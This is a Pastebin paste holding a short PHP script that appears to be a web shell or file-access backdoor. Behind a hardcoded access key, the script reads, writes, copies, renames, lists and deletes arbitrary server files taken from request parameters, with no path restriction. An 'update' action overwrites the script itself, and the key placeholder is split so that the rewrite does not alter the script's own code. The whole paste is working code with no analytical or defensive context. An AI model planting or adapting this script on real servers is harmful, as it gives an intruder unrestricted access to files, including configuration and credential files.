Guest User

Untitled

a guest
Apr 14th, 2012
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.57 KB | None | 0 0
  1. $authKey = '9jgofygbztvk';
  2.  
  3. if($_GET['auth'] !== $authKey) {
  4. echo '403 Unauthorized';
  5. die();
  6. }
  7.  
  8. switch ($_GET['action']) {
  9. case 'rename':
  10. rename($_GET['source'], $_GET['dest']);
  11. break;
  12. case 'copy':
  13. copy($_GET['source'], $_GET['dest']);
  14. break;
  15. case 'touch':
  16. file_put_contents($_GET['source'], '');
  17. break;
  18. case 'save':
  19. file_put_contents($_GET['source'], $_POST['data']);
  20. break;
  21. case 'get':
  22. echo file_get_contents($_GET['source']);
  23. break;
  24. case 'mkdir':
  25. mkdir($_GET['source']);
  26. break;
  27. case 'ls':
  28. $files = array();
  29. if ($handle = opendir($_GET['source'])) {
  30. while (false !== ($file = readdir($handle))) {
  31. if ($file != "." && $file != "..") {
  32. if(is_file($_GET['source'].''.$file.'')) {
  33. $type = 'file';
  34. }else{
  35. $type = 'folder';
  36. }
  37.  
  38. $files[] = array(
  39. 'file' => $file,
  40. 'type' => $type,
  41. );
  42. }
  43. }
  44. closedir($handle);
  45. }
  46.  
  47. echo serialize($files);
  48. break;
  49. case 'rm':
  50. unlink($_GET['source']);
  51. break;
  52. case 'update':
  53. $data = str_replace('%aut'.'hKey%', $authKey, $_POST['data']);
  54. file_put_contents(__FILE__, $data);
  55. break;
  56. default:
  57. echo '600 Not Implemented';
  58. break;
  59. }
Advertisement
Add Comment
Please, Sign In to add comment